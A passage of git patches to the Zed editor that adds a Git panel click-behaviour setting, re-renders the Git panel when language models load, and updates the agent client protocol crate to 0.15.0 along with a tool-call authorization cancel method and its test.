+            entry_primary_click_action: git_panel.entry_primary_click_action.unwrap(),
         }
     }
 }
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index b32a86ca45d40e..a1d1a43381524c 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -718,6 +718,36 @@ pub struct GitPanelSettingsContent {
     ///
     /// Default: 0
     pub commit_title_max_length: Option<usize>,
+
+    /// Default action when clicking a changed file in the Git panel.
+    ///
+    /// Default: project_diff
+    pub entry_primary_click_action: Option<GitPanelClickBehavior>,
+}
+
+#[derive(
+    Default,
+    Copy,
+    Clone,
+    Debug,
+    Serialize,
+    Deserialize,
+    JsonSchema,
+    MergeFrom,
+    PartialEq,
+    Eq,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum GitPanelClickBehavior {
+    /// Open the project diff, showing all changed files.
+    #[default]
+    ProjectDiff,
+    /// Open a single-file diff view.
+    FileDiff,
+    /// Open the file in the editor without a diff view.
+    ViewFile,
 }
 
 #[derive(
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 80261bb0da9fdb..15f28020c53374 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -5776,7 +5776,7 @@ fn panels_page() -> SettingsPage {
         ]
     }
 
-    fn git_panel_section() -> [SettingsPageItem; 16] {
+    fn git_panel_section() -> [SettingsPageItem; 17] {
         [
             SettingsPageItem::SectionHeader("Git Panel"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -5992,6 +5992,29 @@ fn panels_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Primary Click Behavior",
+                description: "Default action when clicking a changed file in the Git panel.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("git_panel.entry_primary_click_action"),
+                    pick: |settings_content| {
+                        settings_content
+                            .git_panel
+                            .as_ref()?
+                            .entry_primary_click_action
+                            .as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content
+                            .git_panel
+                            .get_or_insert_default()
+                            .entry_primary_click_action = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Show Count Badge",
                 description: "Whether to show a badge on the git panel icon with the count of uncommitted changes.",
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 6e45adc0f4bec1..fbc06a7016604d 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -600,6 +600,7 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::ThinkingBlockDisplay>(render_dropdown)
         .add_basic_renderer::<settings::ImageFileSizeUnit>(render_dropdown)
         .add_basic_renderer::<settings::StatusStyle>(render_dropdown)
+        .add_basic_renderer::<settings::GitPanelClickBehavior>(render_dropdown)
         .add_basic_renderer::<settings::GitPanelSortBy>(render_dropdown)
         .add_basic_renderer::<settings::GitPanelGroupBy>(render_dropdown)
         .add_basic_renderer::<settings::EncodingDisplayOptions>(render_dropdown)

From c0945a82018c11f09bae41bbc7035f4b07568a8f Mon Sep 17 00:00:00 2001
From: Charley Wu <akunzai@gmail.com>
Date: Mon, 22 Jun 2026 11:29:08 +0800
Subject: [PATCH 022/772] git_ui: Re-render Git Panel when language model
 registry updates (#59299)

Fixes the "Generate git commit message" wand button being permanently
disabled on startup. Subscribes the Git Panel to language model registry
events so that it automatically re-renders once the asynchronous model
fetches complete.

Closes #55451.

## Suggested .rules additions

### GPUI Views and Global State Registries

* If a view (like `GitPanel`) reads from a global state registry (like
`LanguageModelRegistry`) during rendering, it must subscribe/observe
that registry's events and call `cx.notify()` to re-render when the
state updates (such as when models finish loading asynchronously).

Release Notes:

- Fixed the git commit message generation button showing as permanently
disabled when models load after startup.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/git_ui/src/git_panel.rs | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 2e7b273cfa853b..5af11d0a80a740 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -44,8 +44,8 @@ use gpui::{
 use itertools::Itertools;
 use language::{Buffer, File};
 use language_model::{
-    CompletionIntent, ConfiguredModel, LanguageModelRegistry, LanguageModelRequest,
-    LanguageModelRequestMessage, Role,
+    CompletionIntent, ConfiguredModel, Event as LanguageModelEvent, LanguageModelRegistry,
+    LanguageModelRequest, LanguageModelRequestMessage, Role,
 };
 use menu;
 use multi_buffer::ExcerptBoundaryInfo;
@@ -876,6 +876,20 @@ impl GitPanel {
                 }
             });
 
+            let registry = LanguageModelRegistry::global(cx);
+            cx.subscribe(&registry, |_, _, event, cx| match event {
+                LanguageModelEvent::CommitMessageModelChanged
+                | LanguageModelEvent::DefaultModelChanged
+                | LanguageModelEvent::ProviderStateChanged(_)
+                | LanguageModelEvent::AddedProvider(_)
+                | LanguageModelEvent::RemovedProvider(_)
+                | LanguageModelEvent::ProvidersChanged => {
+                    cx.notify();
+                }
+                _ => {}
+            })
+            .detach();
+
             cx.subscribe_in(
                 &git_store,
                 window,
@@ -7775,6 +7789,7 @@ mod tests {
             let settings_store = SettingsStore::test(cx);
             cx.set_global(settings_store);
             theme_settings::init(LoadThemes::JustBase, cx);
+            language_model::init(cx);
             editor::init(cx);
             crate::init(cx);
         });

From 8ba35e5eacf30a847140e82eced017f93f3f6df0 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 22 Jun 2026 11:04:29 +0200
Subject: [PATCH 023/772] acp: Update agent client protocol crate to 0.15.0
 (#59593)

We finally have a cancellation mechanism to use! Made the non
side-effectful handlers stop their work if we get a cancel request
notification.

Release Notes:

- N/A
---
 Cargo.lock                                    |  35 +--
 Cargo.toml                                    |   2 +-
 crates/acp_thread/src/acp_thread.rs           |  71 ++++-
 crates/acp_thread/src/connection.rs           |   2 +-
 crates/acp_thread/src/mention.rs              |   2 +-
 crates/acp_thread/src/terminal.rs             |   2 +-
 crates/acp_tools/src/acp_tools.rs             |   2 +-
 crates/agent/src/agent.rs                     |   2 +-
 crates/agent/src/db.rs                        |   2 +-
 crates/agent/src/tests/mod.rs                 |   2 +-
 crates/agent/src/thread.rs                    |   2 +-
 crates/agent/src/thread_store.rs              |   2 +-
 .../agent/src/tools/apply_code_action_tool.rs |   2 +-
 .../src/tools/context_server_registry.rs      |   2 +-
 crates/agent/src/tools/copy_path_tool.rs      |   2 +-
 .../agent/src/tools/create_directory_tool.rs  |   2 +-
 crates/agent/src/tools/create_thread_tool.rs  |   2 +-
 crates/agent/src/tools/delete_path_tool.rs    |   2 +-
 crates/agent/src/tools/diagnostics_tool.rs    |   2 +-
 crates/agent/src/tools/edit_file_tool.rs      |   2 +-
 crates/agent/src/tools/edit_session.rs        |   2 +-
 crates/agent/src/tools/fetch_tool.rs          |   2 +-
 crates/agent/src/tools/find_path_tool.rs      |   2 +-
 .../agent/src/tools/find_references_tool.rs   |   2 +-
 .../agent/src/tools/get_code_actions_tool.rs  |   2 +-
 .../agent/src/tools/go_to_definition_tool.rs  |   2 +-
 crates/agent/src/tools/grep_tool.rs           |   2 +-
 .../src/tools/list_agents_and_models_tool.rs  |   2 +-
 crates/agent/src/tools/list_directory_tool.rs |   2 +-
 crates/agent/src/tools/move_path_tool.rs      |   2 +-
 crates/agent/src/tools/read_file_tool.rs      |   2 +-
 crates/agent/src/tools/rename_tool.rs         |   2 +-
 crates/agent/src/tools/skill_tool.rs          |   6 +-
 crates/agent/src/tools/spawn_agent_tool.rs    |   2 +-
 crates/agent/src/tools/terminal_tool.rs       |   2 +-
 crates/agent/src/tools/tool_permissions.rs    |   2 +-
 crates/agent/src/tools/web_search_tool.rs     |   2 +-
 crates/agent/src/tools/write_file_tool.rs     |   2 +-
 crates/agent_servers/src/acp.rs               | 268 ++++++++----------
 crates/agent_servers/src/agent_servers.rs     |   2 +-
 crates/agent_servers/src/custom.rs            |   2 +-
 crates/agent_servers/src/e2e_tests.rs         |   4 +-
 crates/agent_ui/src/agent_panel.rs            |   2 +-
 crates/agent_ui/src/agent_ui.rs               |   2 +-
 crates/agent_ui/src/completion_provider.rs    |   2 +-
 crates/agent_ui/src/config_options.rs         |   2 +-
 crates/agent_ui/src/conversation_view.rs      |   2 +-
 .../src/conversation_view/thread_view.rs      |   2 +-
 crates/agent_ui/src/draft_prompt_store.rs     |   2 +-
 crates/agent_ui/src/entry_view_state.rs       |   4 +-
 crates/agent_ui/src/mention_set.rs            |   2 +-
 crates/agent_ui/src/message_editor.rs         |   4 +-
 crates/agent_ui/src/mode_selector.rs          |   2 +-
 crates/agent_ui/src/test_support.rs           |   2 +-
 crates/agent_ui/src/thread_import.rs          |   2 +-
 crates/agent_ui/src/thread_metadata_store.rs  |   4 +-
 crates/agent_ui/src/threads_archive_view.rs   |   2 +-
 crates/agent_ui/src/ui/mention_crease.rs      |   2 +-
 crates/eval_cli/src/main.rs                   |   2 +-
 .../remote_server/src/remote_editing_tests.rs |   8 +-
 crates/sidebar/src/sidebar.rs                 |   2 +-
 crates/zed/src/main.rs                        |   2 +-
 crates/zed/src/visual_test_runner.rs          |   2 +-
 63 files changed, 276 insertions(+), 236 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 2d7c91d9f70382..7201ba91d08c85 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -319,9 +319,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "0.14.0"
+version = "0.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5efba6592048ef8a9ac97de8d79b2d9933d8ac4d94f7a2de102348fed0c61103"
+checksum = "794aea8f191be00ab10233745d49b49f53be6a3f4d7fe540f681aebc535c5415"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
@@ -329,7 +329,6 @@ dependencies = [
  "blocking",
  "futures 0.3.32",
  "futures-concurrency",
- "jsonrpcmsg",
  "rustc-hash 2.1.1",
  "schemars 1.0.4",
  "serde",
@@ -341,9 +340,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "0.14.0"
+version = "0.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d176a10d4cb06e0262a738c3c5bf21ff0968db13a666e31cbca94a3d3d72e7c"
+checksum = "83ffd930c0d668152ce6d591189f324835d46031eabecb51ada3619ad7e2a278"
 dependencies = [
  "quote",
  "syn 2.0.117",
@@ -351,9 +350,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-schema"
-version = "0.13.6"
+version = "0.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c290bfa00c6b52339db66f8e9cf711d5f08530800529f7d619ff24d6cba253d0"
+checksum = "b4e7eb6f1e554741f621ae4abb046d4fbb3cb88541bc599693ae7f9aa30b72eb"
 dependencies = [
  "anyhow",
  "derive_more",
@@ -2198,7 +2197,7 @@ dependencies = [
  "bitflags 2.10.0",
  "cexpr",
  "clang-sys",
- "itertools 0.10.5",
+ "itertools 0.11.0",
  "log",
  "prettyplease",
  "proc-macro2",
@@ -2218,7 +2217,7 @@ dependencies = [
  "bitflags 2.10.0",
  "cexpr",
  "clang-sys",
- "itertools 0.10.5",
+ "itertools 0.11.0",
  "proc-macro2",
  "quote",
  "regex",
@@ -8742,7 +8741,7 @@ dependencies = [
  "js-sys",
  "log",
  "wasm-bindgen",
- "windows-core 0.56.0",
+ "windows-core 0.62.2",
 ]
 
 [[package]]
@@ -8996,7 +8995,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4b0f83760fb341a774ed326568e19f5a863af4a952def8c39f9ab92fd95b88e5"
 dependencies = [
  "equivalent",
- "hashbrown 0.15.5",
+ "hashbrown 0.16.1",
  "serde",
  "serde_core",
 ]
@@ -9413,16 +9412,6 @@ dependencies = [
  "util",
 ]
 
-[[package]]
-name = "jsonrpcmsg"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d833a15225c779251e13929203518c2ff26e2fe0f322d584b213f4f4dad37bd"
-dependencies = [
- "serde",
- "serde_json",
-]
-
 [[package]]
 name = "jsonschema"
 version = "0.37.4"
@@ -14229,7 +14218,7 @@ checksum = "22505a5c94da8e3b7c2996394d1c933236c4d743e81a410bcca4e6989fc066a4"
 dependencies = [
  "bytes 1.11.1",
  "heck 0.5.0",
- "itertools 0.10.5",
+ "itertools 0.11.0",
  "log",
  "multimap",
  "once_cell",
@@ -14262,7 +14251,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "81bddcdb20abf9501610992b6759a4c888aef7d1a7247ef75e2404275ac24af1"
 dependencies = [
  "anyhow",
- "itertools 0.10.5",
+ "itertools 0.11.0",
  "proc-macro2",
  "quote",
  "syn 2.0.117",
diff --git a/Cargo.toml b/Cargo.toml
index 84e0993b9ecc9a..5e10fae8dddd35 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -503,7 +503,7 @@ accesskit = "0.24.0"
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=0.14.0", features = ["unstable"] }
+agent-client-protocol = { version = "=0.15.0", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 7f89dad049583e..5705b3e23cd984 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -3,7 +3,7 @@ mod diff;
 mod mention;
 mod terminal;
 use action_log::{ActionLog, ActionLogTelemetry};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::{MaybeUndefined, v1 as acp};
 use anyhow::{Context as _, Result, anyhow};
 use collections::HashSet;
 pub use connection::*;
@@ -1935,7 +1935,7 @@ impl AcpThread {
                 self.update_plan(plan, cx);
             }
             acp::SessionUpdate::SessionInfoUpdate(info_update) => {
-                if let acp::MaybeUndefined::Value(title) = info_update.title {
+                if let MaybeUndefined::Value(title) = info_update.title {
                     let had_provisional = self.provisional_title.take().is_some();
                     let title: SharedString = title.into();
                     if self.title.as_ref() != Some(&title) {
@@ -2653,6 +2653,19 @@ impl AcpThread {
         }))
     }
 
+    pub fn cancel_tool_call_authorization(&mut self, id: &acp::ToolCallId, cx: &mut Context<Self>) {
+        let Some((ix, call)) = self.tool_call_mut(id) else {
+            return;
+        };
+        if !matches!(call.status, ToolCallStatus::WaitingForConfirmation { .. }) {
+            return;
+        }
+
+        call.status = ToolCallStatus::Canceled;
+        cx.emit(AcpThreadEvent::EntryUpdated(ix));
+        cx.emit(AcpThreadEvent::ToolAuthorizationReceived(id.clone()));
+    }
+
     pub fn authorize_tool_call(
         &mut self,
         id: acp::ToolCallId,
@@ -5139,6 +5152,60 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    async fn test_cancel_tool_call_authorization_resolves_permission_request(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .unwrap();
+
+        let tool_call_id = acp::ToolCallId::new("toolu_01cancelled_permission");
+        let permission_task = thread
+            .update(cx, |thread, cx| {
+                thread.request_tool_call_authorization(
+                    acp::ToolCall::new(tool_call_id.clone(), "Needs permission")
+                        .kind(acp::ToolKind::Execute)
+                        .status(acp::ToolCallStatus::Pending)
+                        .into(),
+                    PermissionOptions::Flat(vec![acp::PermissionOption::new(
+                        acp::PermissionOptionId::new("allow"),
+                        "Allow",
+                        acp::PermissionOptionKind::AllowOnce,
+                    )]),
+                    AuthorizationKind::PermissionGrant,
+                    cx,
+                )
+            })
+            .unwrap();
+
+        thread.update(cx, |thread, cx| {
+            thread.cancel_tool_call_authorization(&tool_call_id, cx);
+        });
+
+        thread.read_with(cx, |thread, _cx| {
+            let (_, tool_call) = thread
+                .tool_call(&tool_call_id)
+                .expect("tool call should exist");
+            assert!(matches!(tool_call.status, ToolCallStatus::Canceled));
+        });
+
+        match permission_task.await {
+            RequestPermissionOutcome::Cancelled => {}
+            RequestPermissionOutcome::Selected(_) => {
+                panic!("cancelled permission request should not select an outcome")
+            }
+        }
+    }
+
     #[gpui::test]
     async fn test_terminal_tool_call_update_closes_open_permission_request(
         cx: &mut TestAppContext,
diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index 0f3abe1f9b507a..a99ae8e8637899 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -1,5 +1,5 @@
 use crate::AcpThread;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use chrono::{DateTime, Utc};
 use collections::{HashMap, HashSet, IndexMap};
diff --git a/crates/acp_thread/src/mention.rs b/crates/acp_thread/src/mention.rs
index 0ebe1712ff17b9..b5e6ab90ab9686 100644
--- a/crates/acp_thread/src/mention.rs
+++ b/crates/acp_thread/src/mention.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context as _, Result, bail};
 use file_icons::FileIcons;
 use serde::{Deserialize, Serialize};
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index d8b501b82691b4..1d491dbc627de0 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 #[cfg(target_os = "linux")]
 use anyhow::Context as _;
 use anyhow::Result;
diff --git a/crates/acp_tools/src/acp_tools.rs b/crates/acp_tools/src/acp_tools.rs
index a2fcfe531595d0..5675dfa2b55eac 100644
--- a/crates/acp_tools/src/acp_tools.rs
+++ b/crates/acp_tools/src/acp_tools.rs
@@ -1,6 +1,6 @@
 use std::{collections::HashSet, fmt::Display, rc::Rc, sync::Arc};
 
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::{AcpDebugMessage, AcpDebugMessageContent, AcpDebugMessageDirection};
 use agent_ui::agent_connection_store::AgentConnectionStatus;
 use agent_ui::{Agent, AgentConnectionStore, AgentPanel};
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index 2b0d852bc8e460..377328da965db6 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -28,7 +28,7 @@ use acp_thread::{
     AcpThread, AgentModelId, AgentModelSelector, AgentSessionInfo, AgentSessionList,
     AgentSessionListRequest, AgentSessionListResponse, TokenUsageRatio, UserMessageId,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_skills::{
     AGENTS_DIR_NAME, MAX_SKILL_DESCRIPTIONS_SIZE, MAX_SKILL_FILE_SIZE, ProjectSkillGroup,
     SKILL_FILE_NAME, Skill, SkillIndex, SkillLoadError, SkillLoadWarning, SkillScopeId,
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 4a15b0920e6e0c..793577146db463 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -1,6 +1,6 @@
 use crate::{AgentMessage, AgentMessageContent, UserMessage, UserMessageContent};
 use acp_thread::UserMessageId;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentProfileId;
 use anyhow::{Result, anyhow};
 use chrono::{DateTime, Utc};
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 34e9c8dbbb7c6c..0de7df5251af61 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -3,7 +3,7 @@ use acp_thread::{
     AgentConnection, AgentModelGroupName, AgentModelList, PermissionOptions, ThreadStatus,
     UserMessageId,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentProfileId;
 use anyhow::Result;
 use client::{Client, RefreshLlmTokenListener, UserStore};
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 22326ee8d4bc86..cbd2b9a2e1c859 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -12,7 +12,7 @@ use action_log::ActionLog;
 use agent_settings::UserAgentsMd;
 
 use crate::sandboxing::{SandboxRequest, ThreadSandboxGrants, sandboxing_enabled_for_project};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{
     AgentProfileId, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
     SUMMARIZE_THREAD_DETAILED_PROMPT, SUMMARIZE_THREAD_PROMPT,
diff --git a/crates/agent/src/thread_store.rs b/crates/agent/src/thread_store.rs
index f5aecdbf682df3..bf483e428bbc96 100644
--- a/crates/agent/src/thread_store.rs
+++ b/crates/agent/src/thread_store.rs
@@ -1,5 +1,5 @@
 use crate::{DbThread, DbThreadMetadata, ThreadsDatabase};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Result, anyhow};
 use futures::{FutureExt, future::Shared};
 use gpui::{App, Context, Entity, Global, Task, prelude::*};
diff --git a/crates/agent/src/tools/apply_code_action_tool.rs b/crates/agent/src/tools/apply_code_action_tool.rs
index 409546d89d0ba6..aa3d5ac18bff58 100644
--- a/crates/agent/src/tools/apply_code_action_tool.rs
+++ b/crates/agent/src/tools/apply_code_action_tool.rs
@@ -1,7 +1,7 @@
 use std::fmt::Write;
 use std::sync::Arc;
 
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use gpui::{App, Entity, SharedString, Task};
 use project::Project;
 use schemars::JsonSchema;
diff --git a/crates/agent/src/tools/context_server_registry.rs b/crates/agent/src/tools/context_server_registry.rs
index d9dc972e24f46d..522b5779291f51 100644
--- a/crates/agent/src/tools/context_server_registry.rs
+++ b/crates/agent/src/tools/context_server_registry.rs
@@ -1,5 +1,5 @@
 use crate::{AgentToolOutput, AnyAgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use collections::{BTreeMap, HashMap};
 use context_server::{ContextServerId, client::NotificationSubscription};
diff --git a/crates/agent/src/tools/copy_path_tool.rs b/crates/agent/src/tools/copy_path_tool.rs
index 42a7311c572593..1730da89669329 100644
--- a/crates/agent/src/tools/copy_path_tool.rs
+++ b/crates/agent/src/tools/copy_path_tool.rs
@@ -7,7 +7,7 @@ use crate::{
     AgentTool, ToolCallEventStream, ToolInput, ToolPermissionDecision,
     authorize_with_sensitive_settings, decide_permission_for_paths,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use futures::FutureExt as _;
 use gpui::{App, Entity, Task};
diff --git a/crates/agent/src/tools/create_directory_tool.rs b/crates/agent/src/tools/create_directory_tool.rs
index fdec1da2b75a50..308e7b9145805f 100644
--- a/crates/agent/src/tools/create_directory_tool.rs
+++ b/crates/agent/src/tools/create_directory_tool.rs
@@ -2,7 +2,7 @@ use super::tool_permissions::{
     authorize_symlink_access, canonicalize_worktree_roots, detect_symlink_escape,
     resolve_creatable_global_skill_path, sensitive_settings_kind,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use futures::FutureExt as _;
 use gpui::{App, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/create_thread_tool.rs b/crates/agent/src/tools/create_thread_tool.rs
index 9f87412d027973..c19462e076a70c 100644
--- a/crates/agent/src/tools/create_thread_tool.rs
+++ b/crates/agent/src/tools/create_thread_tool.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use gpui::{App, SharedString, Task};
 use language_model::LanguageModelToolResultContent;
diff --git a/crates/agent/src/tools/delete_path_tool.rs b/crates/agent/src/tools/delete_path_tool.rs
index bae19d7692e040..7a23ac38d92ddc 100644
--- a/crates/agent/src/tools/delete_path_tool.rs
+++ b/crates/agent/src/tools/delete_path_tool.rs
@@ -7,7 +7,7 @@ use crate::{
     authorize_with_sensitive_settings, decide_permission_for_path,
 };
 use action_log::ActionLog;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use futures::{FutureExt as _, SinkExt, StreamExt, channel::mpsc};
 use gpui::{App, AppContext, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/diagnostics_tool.rs b/crates/agent/src/tools/diagnostics_tool.rs
index 89d4ef54677dd8..ea5bdd8e71d6bf 100644
--- a/crates/agent/src/tools/diagnostics_tool.rs
+++ b/crates/agent/src/tools/diagnostics_tool.rs
@@ -1,5 +1,5 @@
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use futures::{Future, FutureExt as _};
 use gpui::{App, AsyncApp, Entity, Task};
 use language::{DiagnosticSeverity, OffsetRangeExt};
diff --git a/crates/agent/src/tools/edit_file_tool.rs b/crates/agent/src/tools/edit_file_tool.rs
index fc513d904a3445..8cf5610531d9f2 100644
--- a/crates/agent/src/tools/edit_file_tool.rs
+++ b/crates/agent/src/tools/edit_file_tool.rs
@@ -7,7 +7,7 @@ use super::edit_session::{
 };
 use crate::{AgentTool, Thread, ToolCallEventStream, ToolInput, ToolInputPayload};
 use action_log::ActionLog;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use futures::FutureExt as _;
 use gpui::{App, AsyncApp, Entity, Task, WeakEntity};
diff --git a/crates/agent/src/tools/edit_session.rs b/crates/agent/src/tools/edit_session.rs
index 9fd116fe18b0fe..b6f8c0f1cfcd13 100644
--- a/crates/agent/src/tools/edit_session.rs
+++ b/crates/agent/src/tools/edit_session.rs
@@ -6,7 +6,7 @@ use super::tool_permissions::resolve_creatable_global_skill_path;
 use crate::{Thread, ToolCallEventStream};
 use acp_thread::Diff;
 use action_log::ActionLog;
-use agent_client_protocol::schema::{self as acp, ToolCallLocation, ToolCallUpdateFields};
+use agent_client_protocol::schema::v1::{self as acp, ToolCallLocation, ToolCallUpdateFields};
 use anyhow::Result;
 use collections::HashSet;
 use futures::{FutureExt, channel::oneshot};
diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index 716b4b364eed1e..7bc93740af2d3c 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -2,7 +2,7 @@ use std::rc::Rc;
 use std::sync::Arc;
 use std::{borrow::Cow, cell::RefCell};
 
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context as _, Result, bail};
 use futures::{AsyncReadExt as _, FutureExt as _};
 use gpui::{App, AppContext as _, Task};
diff --git a/crates/agent/src/tools/find_path_tool.rs b/crates/agent/src/tools/find_path_tool.rs
index 32ab6ad4ebc2c4..481f1433fbf7c8 100644
--- a/crates/agent/src/tools/find_path_tool.rs
+++ b/crates/agent/src/tools/find_path_tool.rs
@@ -1,5 +1,5 @@
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Result, anyhow};
 use futures::FutureExt as _;
 use gpui::{App, AppContext, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/find_references_tool.rs b/crates/agent/src/tools/find_references_tool.rs
index 8cd1cb548f2ca9..8bcf8e7e1abcbb 100644
--- a/crates/agent/src/tools/find_references_tool.rs
+++ b/crates/agent/src/tools/find_references_tool.rs
@@ -3,7 +3,7 @@ use std::sync::Arc;
 
 use super::symbol_locator::{LocationDisplay, SymbolLocator};
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use gpui::{App, Entity, SharedString, Task};
 use project::Project;
 use schemars::JsonSchema;
diff --git a/crates/agent/src/tools/get_code_actions_tool.rs b/crates/agent/src/tools/get_code_actions_tool.rs
index 6008d68e52b121..db6db293f6af4c 100644
--- a/crates/agent/src/tools/get_code_actions_tool.rs
+++ b/crates/agent/src/tools/get_code_actions_tool.rs
@@ -1,7 +1,7 @@
 use std::fmt::Write;
 use std::sync::Arc;
 
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use gpui::{App, Entity, SharedString, Task};
 use project::Project;
 use schemars::JsonSchema;
diff --git a/crates/agent/src/tools/go_to_definition_tool.rs b/crates/agent/src/tools/go_to_definition_tool.rs
index 2c217ed105a2ef..57c355d69de83e 100644
--- a/crates/agent/src/tools/go_to_definition_tool.rs
+++ b/crates/agent/src/tools/go_to_definition_tool.rs
